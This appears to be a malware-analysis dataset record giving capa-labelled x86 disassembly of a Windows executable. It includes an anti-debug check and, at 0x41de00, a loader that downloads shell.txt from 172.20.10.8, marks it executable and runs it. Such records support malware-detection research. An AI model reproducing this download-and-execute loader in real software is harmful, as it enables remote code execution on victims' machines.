joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406f70
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push 0xffffffffffffffff
push 0x487330
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push ebp
xor eax, eax
push esi
push edi
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], vtable.CPen.0
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x28], eax
push ecx
push eax
push eax
call dword [sym.imp.GDI32.dll_CreatePen]
push eax
lea ecx, [esp + 0x14]
call fcn.0046d2c6
mov esi, dword [esp + 0x30]
lea edx, [esp + 0x10]
push edx
mov ecx, esi
call fcn.0046c1ab
mov edi, dword [esp + 0x38]
mov ebx, dword [esp + 0x34]
mov dword [esp + 0x3c], eax
mov ecx, esi
lea eax, [edi + 2]
push eax
lea eax, [esp + 0x1c]
push ebx
push eax
call fcn.0046c864
lea eax, [edi + 5]
mov ecx, esi
push eax
push ebx
call fcn.0046c8b0
lea ebp, [edi + 3]
lea eax, [ebx + 1]
push ebp
lea ecx, [esp + 0x1c]
push eax
push ecx
mov ecx, esi
call fcn.0046c864
lea eax, [edi + 6]
mov ecx, esi
push eax
lea eax, [ebx + 1]
push eax
call fcn.0046c8b0
lea eax, [edi + 4]
lea ecx, [ebx + 2]
push eax
lea edx, [esp + 0x1c]
push ecx
push edx
mov ecx, esi
call fcn.0046c864
lea eax, [edi + 7]
mov ecx, esi
push eax
lea eax, [ebx + 2]
push eax
call fcn.0046c8b0
lea eax, [ebx + 3]
push ebp
lea ecx, [esp + 0x1c]
push eax
push ecx
mov ecx, esi
call fcn.0046c864
lea eax, [edi + 6]
mov ecx, esi
push eax
lea eax, [ebx + 3]
push eax
call fcn.0046c8b0
lea eax, [edi + 2]
lea ecx, [ebx + 4]
push eax
lea edx, [esp + 0x1c]
push ecx
push edx
mov ecx, esi
call fcn.0046c864
lea eax, [edi + 5]
mov ecx, esi
push eax
lea eax, [ebx + 4]
push eax
call fcn.0046c8b0
lea ecx, [edi + 1]
lea eax, [ebx + 5]
push ecx
lea edx, [esp + 0x1c]
push eax
push edx
mov ecx, esi
call fcn.0046c864
lea eax, [edi + 4]
mov ecx, esi
push eax
lea eax, [ebx + 5]
push eax
call fcn.0046c8b0
add ebx, 6
push edi
lea eax, [esp + 0x1c]
push ebx
push eax
mov ecx, esi
call fcn.0046c864
push ebp
push ebx
mov ecx, esi
call fcn.0046c8b0
mov ecx, dword [esp + 0x3c]
push ecx
mov ecx, esi
call fcn.0046c1ab
lea ecx, [esp + 0x10]
call fcn.0046d31d
mov dword [esp + 0x10], vtable.CGdiObject.0
lea ecx, [esp + 0x10]
mov dword [esp + 0x28], 1
call fcn.0046d31d
mov ecx, dword [esp + 0x20]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c
ret 0x10
Function at 0x4082c0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x4874e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, dword [esp + 0x38]
mov eax, esi
mov ebp, ecx
push edi
xor edi, edi
mov ecx, dword [eax]
mov dword [esp + 0x14], edi
mov dword [esp + 0x18], ecx
mov dword [esp + 0x10], vtable.CBrush.0
mov edx, dword [eax + 4]
mov dword [esp + 0x1c], edx
mov ecx, dword [eax + 8]
mov dword [esp + 0x20], ecx
mov edx, dword [eax + 0xc]
mov dword [esp + 0x24], edx
mov dword [esp + 0x30], edi
call fcn.00402460
test eax, eax
je 0x40831e
push 0xf
jmp 0x408320
push 4
mov ebx, dword [sym.imp.USER32.dll_GetSysColor]
call ebx
cmp dword [esp + 0x40], edi
jne 0x408341
push 0x3fe33333
push 0x33333333
push eax
call fcn.004033b0
add esp, 0xc
push eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
lea ecx, [esp + 0x14]
call fcn.0046d2c6
mov edi, dword [esp + 0x14]
lea eax, [esp + 0x10]
neg eax
sbb eax, eax
and eax, edi
mov edi, dword [esp + 0x38]
push eax
lea eax, [esp + 0x1c]
mov ecx, dword [edi + 4]
push eax
push ecx
call dword [sym.imp.USER32.dll_FillRect]
lea ecx, [esp + 0x10]
call fcn.0046d31d
call fcn.00402450
test eax, eax
je 0x408399
mov eax, dword [edi + 4]
push 0xf
lea edx, [esp + 0x1c]
push 2
push edx
push eax
call dword [sym.imp.USER32.dll_DrawEdge]
mov eax, dword [esp + 0x44]
push 7
test eax, eax
jne 0x4083bd
call ebx
mov ecx, dword [esi + 4]
mov edx, dword [esi]
add ecx, 4
push eax
add edx, 4
push ecx
push edx
push edi
mov ecx, ebp
call fcn.00406f70
jmp 0x4083d5
call ebx
mov ecx, dword [esi]
push eax
mov eax, dword [esi + 4]
add ecx, 5
add eax, 4
push eax
push ecx
push edi
mov ecx, ebp
call fcn.00406e50
mov dword [esp + 0x10], vtable.CGdiObject.0
lea ecx, [esp + 0x10]
mov dword [esp + 0x30], 1
call fcn.0046d31d
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 0x10

Function at 0x408950
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
call fcn.0047dab2
mov edi, dword [esp + 0x14]
mov ebx, dword [eax + 0xc]
mov ebp, dword [sym.imp.KERNEL32.dll_FindResourceA]
and edi, 0xffff
push 2
push edi
push ebx
call ebp
mov esi, eax
test esi, esi
jne 0x40898b
xor ebx, ebx
push 2
push edi
push ebx
call ebp
mov esi, eax
test esi, esi
jne 0x40898b
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40899c
pop edi
pop esi
pop ebp
pop ebx
ret
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
jne 0x4089ac
pop edi
pop esi
pop ebp
pop ebx
ret
push eax
call fcn.00408910
add esp, 4
cmp ax, 0x10
je 0x4089c2
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
push 0
push esi
push ebx
call fcn.004701da
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x409f00
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, dword [0x4b4190]
sub esp, 0x134
test eax, eax
jne 0x409fd5
lea eax, [esp]
mov dword [0x4b4190], 1
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftPlus_ThemesCurrent
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x409fd5
push esi
lea ecx, [esp + 0xc]
push edi
lea edx, [esp + 0x2c]
push ecx
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x10]
push edx
push eax
push 0
push 0
push ecx
mov dword [esp + 0x28], 0x104
mov dword [esp + 0x24], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x409fc8
mov ecx, 5
mov esi, str.Windows_Classic.theme
lea edi, [esp + 0x14]
lea edx, [esp + 0x2c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push edx
call edi
mov esi, eax
lea eax, [esp + 0x14]
push eax
call edi
cmp esi, eax
jl 0x409fc8
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
call edi
sub esi, eax
lea eax, [esp + esi + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x409fc8
mov dword [0x4b418c], 1
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov eax, dword [0x4b418c]
add esp, 0x134
ret

Function at 0x40a460
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, ecx
call fcn.0047dab2
mov ebp, dword [esp + 0x14]
mov esi, dword [eax + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_FindResourceA]
push 0xf1
push ebp
push esi
call ebx
test eax, eax
jne 0x40a49b
xor esi, esi
push 0xf1
push ebp
push esi
call ebx
test eax, eax
jne 0x40a49b
pop edi
pop esi
pop ebp
pop ebx
ret 4
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40a4ae
pop edi
pop esi
pop ebp
pop ebx
ret 4
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x40a4c2
pop edi
pop esi
pop ebp
pop ebx
ret 4
xor eax, eax
mov ax, word [esi + 6]
shl eax, 2
push eax
call fcn.004675e1
xor edx, edx
add esp, 4
cmp word [esi + 6], dx
mov ebp, eax
jbe 0x40a4fb
mov ecx, ebp
lea eax, [esi + 8]
xor ebx, ebx
inc edx
mov bx, word [eax]
add eax, 2
mov dword [ecx], ebx
xor ebx, ebx
mov bx, word [esi + 6]
add ecx, 4
cmp edx, ebx
jl 0x40a4e3
xor ecx, ecx
mov cx, word [esi + 6]
push ecx
push ebp
mov ecx, edi
call fcn.0047d509
push ebp
mov ebx, eax
call fcn.0046760a
add esp, 4
test ebx, ebx
je 0x40a55c
xor ecx, ecx
xor eax, eax
mov cx, word [esi + 4]
mov ax, word [esi + 2]
push ecx
push eax
lea ebx, [ecx + 7]
lea edx, [eax + 7]
push ebx
push edx
mov ecx, edi
call fcn.0047d25b
mov ecx, dword [esp + 0x14]
xor edx, edx
mov dx, word [esi + 2]
xor eax, eax
mov dword [edi + 0x9c], edx
mov ax, word [esi + 4]
push ecx
mov ecx, edi
mov dword [edi + 0xa0], eax
call fcn.0040a5d0
mov ebx, eax
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
ret 4
Function at 0x414710
Capabilities:
Copy file

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x488100
push eax
mov eax, dword [esp + 0x10]
mov dword fs:[0], esp
sub esp, 0x58
push ebx
or ebx, 0xffffffff
push esi
mov esi, ecx
test eax, eax
je 0x414769
push edi
lea edi, [esi + 4]
push str..bak
lea eax, [esp + 0x78]
push edi
push eax
call fcn.00467b3b
mov ecx, dword [esp + 0x74]
mov edi, dword [edi]
push 1
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [esp + 0x74]
mov dword [esp + 0x6c], ebx
call fcn.004678a6
pop edi
push 1
lea ecx, [esp + 0xc]
call fcn.00451ea0
mov edx, dword [0x49a65c]
mov eax, dword [esi + 4]
push edx
push 0x82
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x74], 1
call fcn.004521da
mov eax, dword [esp + 8]
mov ecx, dword [eax + 4]
mov eax, dword [esp + ecx + 0xc]
cmp dword [eax + 0x4c], ebx
je 0x4147ed
mov eax, dword [esi + 0xc]
mov esi, dword [esi + 0x20]
push eax
push esi
lea ecx, [esp + 0x10]
call fcn.00452f48
lea ecx, [esp + 8]
call fcn.0045221c
lea ecx, [esp + 0x10]
mov dword [esp + 0x68], ebx
call fcn.00452120
lea ecx, [esp + 0x10]
call fcn.004529ae
pop esi
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x58]
mov dword fs:[0], ecx
add esp, 0x64
ret 4
lea ecx, [esp + 0x10]
mov dword [esp + 0x68], ebx
call fcn.00452120
lea ecx, [esp + 0x10]
call fcn.004529ae
mov ecx, dword [esp + 0x60]
pop esi
xor eax, eax
pop ebx
mov dword fs:[0], ecx
add esp, 0x64
ret 4

Function at 0x4151a8
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x488208
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push esi
mov esi, ecx
call fcn.0047dab2
mov ecx, dword [esp + 0x30]
mov eax, dword [eax + 8]
push 0x10
push 0
push 0
push 0
push ecx
push eax
call dword [sym.imp.USER32.dll_LoadImageA]
test eax, eax
jne 0x4151dd
pop esi
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
add esp, 0x28
ret 4
mov dword [esp + 8], 0
mov dword [esp + 4], 0x48fac8
push eax
lea ecx, [esp + 8]
mov dword [esp + 0x2c], 0
call fcn.0046d2c6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call fcn.00463944
push eax
lea ecx, [esp + 0x10]
call fcn.0046d01e
lea edx, [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
mov ecx, esi
mov byte [esp + 0x30], 1
call fcn.00414f30
lea ecx, [esp + 4]
mov esi, eax
call fcn.0046d31d
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 0
call fcn.0046d090
mov dword [esp + 4], vtable.CGdiObject.0
lea ecx, [esp + 4]
mov dword [esp + 0x28], 2
call fcn.0046d31d
mov ecx, dword [esp + 0x20]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x28
ret 4
Function at 0x4152be
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x488238
push eax
mov eax, dword [esp + 0x14]
mov dword fs:[0], esp
sub esp, 0x1c
test eax, eax
push esi
mov esi, ecx
jne 0x4152f8
call fcn.0047dab2
mov ecx, dword [esp + 0x30]
mov eax, dword [eax + 8]
push 0x2000
push 0
push 0
push 0
push ecx
push eax
call dword [sym.imp.USER32.dll_LoadImageA]
test eax, eax
jne 0x4152f8
pop esi
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
add esp, 0x28
ret 8
mov dword [esp + 8], 0
mov dword [esp + 4], 0x48fac8
push eax
lea ecx, [esp + 8]
mov dword [esp + 0x2c], 0
call fcn.0046d2c6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call fcn.00463944
push eax
lea ecx, [esp + 0x10]
call fcn.0046d01e
lea edx, [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
mov ecx, esi
mov byte [esp + 0x30], 1
call fcn.00414f30
lea ecx, [esp + 4]
mov esi, eax
call fcn.0046d31d
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 0
call fcn.0046d090
mov dword [esp + 4], vtable.CGdiObject.0
lea ecx, [esp + 4]
mov dword [esp + 0x28], 2
call fcn.0046d31d
mov ecx, dword [esp + 0x20]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x28
ret 8

Function at 0x4163e0
Capabilities:
Create thread
Resume thread

Disassembly:
mov eax, dword [esp + 4]
push ebx
push ebp
push esi
test eax, eax
push edi
mov esi, ecx
je 0x416430
mov eax, dword [esi + 0x2a4]
xor edi, edi
test eax, eax
jle 0x416464
mov ebp, dword [sym.imp.KERNEL32.dll_CreateThread]
lea ebx, [esi + 0x114]
lea eax, [esp + 0x14]
push eax
push 0
push esi
push 0x417400
push 0
push 0
call ebp
mov dword [ebx], eax
mov eax, dword [esi + 0x2a4]
inc edi
add ebx, 4
cmp edi, eax
jl 0x416406
pop edi
pop esi
pop ebp
pop ebx
ret 4
mov eax, dword [esi + 0x2a4]
xor ebx, ebx
test eax, eax
jle 0x416464
mov ebp, dword [sym.imp.KERNEL32.dll_ResumeThread]
lea edi, [esi + 0x114]
mov ecx, dword [edi]
push ecx
call ebp
mov edx, dword [edi]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esi + 0x2a4]
inc ebx
add edi, 4
cmp ebx, eax
jl 0x416448
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x416a20
Capabilities:
Access peb ldr_data
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x4884df
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push 0x4b4128
lea ecx, [esp + 0x10]
mov dword [esp + 0x20], 0
call fcn.00467914
mov eax, dword [0x4aedc0]
mov dword [esp + 0x28], 1
mov dword [esp + 8], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov byte [esp + 0x28], 2
mov ebx, 1
mov cl, bl
push 1
add cl, 0x41
push ecx
lea ecx, [esp + 0x1c]
call fcn.0045c226
push 0x4ad0c8
lea edx, [esp + 0x14]
push eax
push edx
mov byte [esp + 0x34], 3
call fcn.00467b3b
push eax
lea ecx, [esp + 0xc]
mov byte [esp + 0x2c], 4
call fcn.004679df
lea ecx, [esp + 0x10]
mov byte [esp + 0x28], 3
call fcn.004678a6
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], 2
call fcn.004678a6
push 0
lea ecx, [esp + 0xc]
call fcn.00467cd6
push eax
call esi
cmp eax, 1
je 0x416b06
lea eax, [esp + 8]
push 0x4acf94
lea ecx, [esp + 0x1c]
push eax
push ecx
call fcn.00467b3b
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 5
call fcn.00467cbe
lea ecx, [esp + 0x18]
mov byte [esp + 0x28], 2
call fcn.004678a6
inc ebx
cmp ebx, 0x19
jle 0x416a71
mov esi, dword [esp + 0x30]
lea edx, [esp + 0xc]
push edx
mov ecx, esi
call fcn.0046761b
mov dword [esp + 0x1c], 1
lea ecx, [esp + 8]
mov byte [esp + 0x28], 1
call fcn.004678a6
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 0
call fcn.004678a6
mov ecx, dword [esp + 0x20]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4

Function at 0x41a680
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x41a6e2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x41a8f0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x208
mov eax, dword [esp + 0x20c]
push ebx
push ebp
mov ebp, dword [esp + 0x218]
push esi
push edi
push ebp
push 0
push 0
push eax
push str.open
mov edi, ecx
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x41a9e2
lea ecx, [esp + 0x10]
push ecx
push str..htm
push SysReAllocString
mov ecx, edi
call fcn.0041a680
test eax, eax
jne 0x41a9e2
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x10]
push str._shellopencommand
push edx
call ebx
lea eax, [esp + 0x10]
lea ecx, [esp + 0x10]
push eax
push ecx
push SysReAllocString
mov ecx, edi
call fcn.0041a680
test eax, eax
jne 0x41a9e2
lea edx, [esp + 0x10]
push 0x4ad45c
push edx
call fcn.00440780
mov esi, eax
add esp, 8
test esi, esi
jne 0x41a9b3
lea eax, [esp + 0x10]
push 0x4ad458
push eax
call fcn.00440700
mov esi, eax
add esp, 8
test esi, esi
jne 0x41a9b3
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0xf]
jmp 0x41a9b6
mov byte [esi], 0
push 0x4ac1d0
push esi
call ebx
mov edx, dword [esp + 0x21c]
push edx
push esi
call ebx
lea eax, [esp + 0x10]
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret 8
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret 8

Function at 0x41b580
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x488a77
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
mov eax, dword [0x4aedc0]
push esi
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 0x18], 1
mov dword [esp + 4], eax
mov eax, dword [esp + 0x2c]
lea ecx, [esp + 8]
push eax
push str.__3._df
push ecx
mov byte [esp + 0x24], 2
call fcn.0045ccdb
mov edx, dword [esp + 0x34]
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x14]
push edx
push eax
lea edx, [esp + 0x18]
push ecx
push edx
call fcn.0045ccdb
mov esi, dword [esp + 0x3c]
add esp, 0x1c
lea eax, [esp + 4]
mov ecx, esi
push eax
call fcn.0046761b
mov dword [esp + 0xc], 1
lea ecx, [esp + 4]
mov byte [esp + 0x18], 1
call fcn.004678a6
lea ecx, [esp + 8]
mov byte [esp + 0x18], 0
call fcn.004678a6
mov ecx, dword [esp + 0x10]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x18
ret 0x10
Function at 0x41de00
Capabilities:
Get file size
Read file on windows
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov al, byte [ebp - 1]
push ebx
push esi
push edi
mov byte [ebp - 0x38], al
mov edi, str.C:ProgramData_shell.txt
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp - 0x34], esi
mov ebx, ecx
lea ecx, [ebp - 0x38]
push ebx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], esi
call fcn.0041f4d0
test al, al
je 0x41de5d
mov edi, dword [ebp - 0x34]
mov ecx, ebx
mov edx, ecx
mov esi, str.C:ProgramData_shell.txt
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x38]
call fcn.0041f4b0
xor esi, esi
mov al, byte [ebp - 1]
mov edi, str.http:__http:__172.20.10.8_shell.txt
mov byte [ebp - 0x28], al
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 0x24], esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp - 0x20], esi
push ecx
push str.http:__http:__172.20.10.8_shell.txt
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x1c], esi
call fcn.0041f3c0
lea ecx, [ebp - 0x38]
lea edx, [ebp - 0x28]
push ecx
push edx
call fcn.0041db00
mov eax, dword [ebp - 0x24]
add esp, 8
cmp eax, esi
je 0x41debd
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x41deb4
cmp al, 0xff
je 0x41deb4
dec al
mov byte [ecx], al
jmp 0x41debd
push ecx
call fcn.0046760a
add esp, 4
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x24], esi
cmp eax, esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
je 0x41deea
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x41dee1
cmp al, 0xff
je 0x41dee1
dec al
mov byte [ecx], al
jmp 0x41deea
push ecx
call fcn.0046760a
add esp, 4
push esi
push 0x80
push 4
push esi
push 1
push SysReAllocString
push str.C:ProgramData_shell.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
mov dword [ebp - 0x14], ebx
call fcn.0043f4e9
add esp, 4
mov esi, eax
lea eax, [ebp - 0xc]
push 0
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push ebx
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push ebx
push 0
push 0
push 6
push eax
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, ebx
mov edi, eax
mov edx, ecx
mov dword [ebp - 0x10], eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 8]
push ecx
push 0x20
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pushal
mov eax, dword [ebp - 0x10]
call eax
popal
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x10]
lea edx, [ebp - 8]
push edx
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x420920
Capabilities:
Access peb ldr_data
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x489a3f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push 0x4b4128
lea ecx, [esp + 0x10]
mov dword [esp + 0x20], 0
call fcn.00467914
mov eax, dword [0x4aedc0]
mov dword [esp + 0x28], 1
mov dword [esp + 8], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov byte [esp + 0x28], 2
mov ebx, 1
mov cl, bl
push 1
add cl, 0x41
push ecx
lea ecx, [esp + 0x1c]
call fcn.0045c226
push 0x4ad0c8
lea edx, [esp + 0x14]
push eax
push edx
mov byte [esp + 0x34], 3
call fcn.00467b3b
push eax
lea ecx, [esp + 0xc]
mov byte [esp + 0x2c], 4
call fcn.004679df
lea ecx, [esp + 0x10]
mov byte [esp + 0x28], 3
call fcn.004678a6
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], 2
call fcn.004678a6
push 0
lea ecx, [esp + 0xc]
call fcn.00467cd6
push eax
call esi
cmp eax, 1
je 0x420a06
lea eax, [esp + 8]
push 0x4acf94
lea ecx, [esp + 0x1c]
push eax
push ecx
call fcn.00467b3b
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 5
call fcn.00467cbe
lea ecx, [esp + 0x18]
mov byte [esp + 0x28], 2
call fcn.004678a6
inc ebx
cmp ebx, 0x19
jle 0x420971
mov esi, dword [esp + 0x30]
lea edx, [esp + 0xc]
push edx
mov ecx, esi
call fcn.0046761b
mov dword [esp + 0x1c], 1
lea ecx, [esp + 8]
mov byte [esp + 0x28], 1
call fcn.004678a6
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 0
call fcn.004678a6
mov ecx, dword [esp + 0x20]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4

Function at 0x420f00
Capabilities:
Create thread
Resume thread

Disassembly:
push 0xffffffffffffffff
push 0x489af0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push esi
push edi
mov esi, ecx
mov eax, dword [esp + 0x2c]
lea edx, [esp + 0x24]
push eax
push ecx
mov ebx, 1
mov ecx, esp
mov dword [esp + 0x34], esp
push edx
mov dword [esp + 0x28], ebx
mov dword [esi + 0x2c0c], ebx
call fcn.0046761b
push ecx
lea eax, [esp + 0x34]
mov ecx, esp
mov dword [esp + 0x18], esp
push eax
mov byte [esp + 0x2c], 2
call fcn.0046761b
mov ecx, esi
mov byte [esp + 0x28], bl
lea edi, [esi + 0x2c10]
call fcn.00421b50
push eax
mov ecx, edi
call fcn.00416170
mov ebx, dword [esp + 0x34]
mov ecx, dword [esp + 0x30]
push ebx
push ecx
mov ecx, edi
call fcn.004162d0
lea edx, [esp + 0x10]
push edx
push 0
push edi
push 0x4171f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x24]
mov byte [esp + 0x1c], 0
call fcn.004678a6
lea ecx, [esp + 0x28]
mov dword [esp + 0x1c], 0xffffffff
call fcn.004678a6
mov ecx, dword [esp + 0x14]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0x14
ret 0x14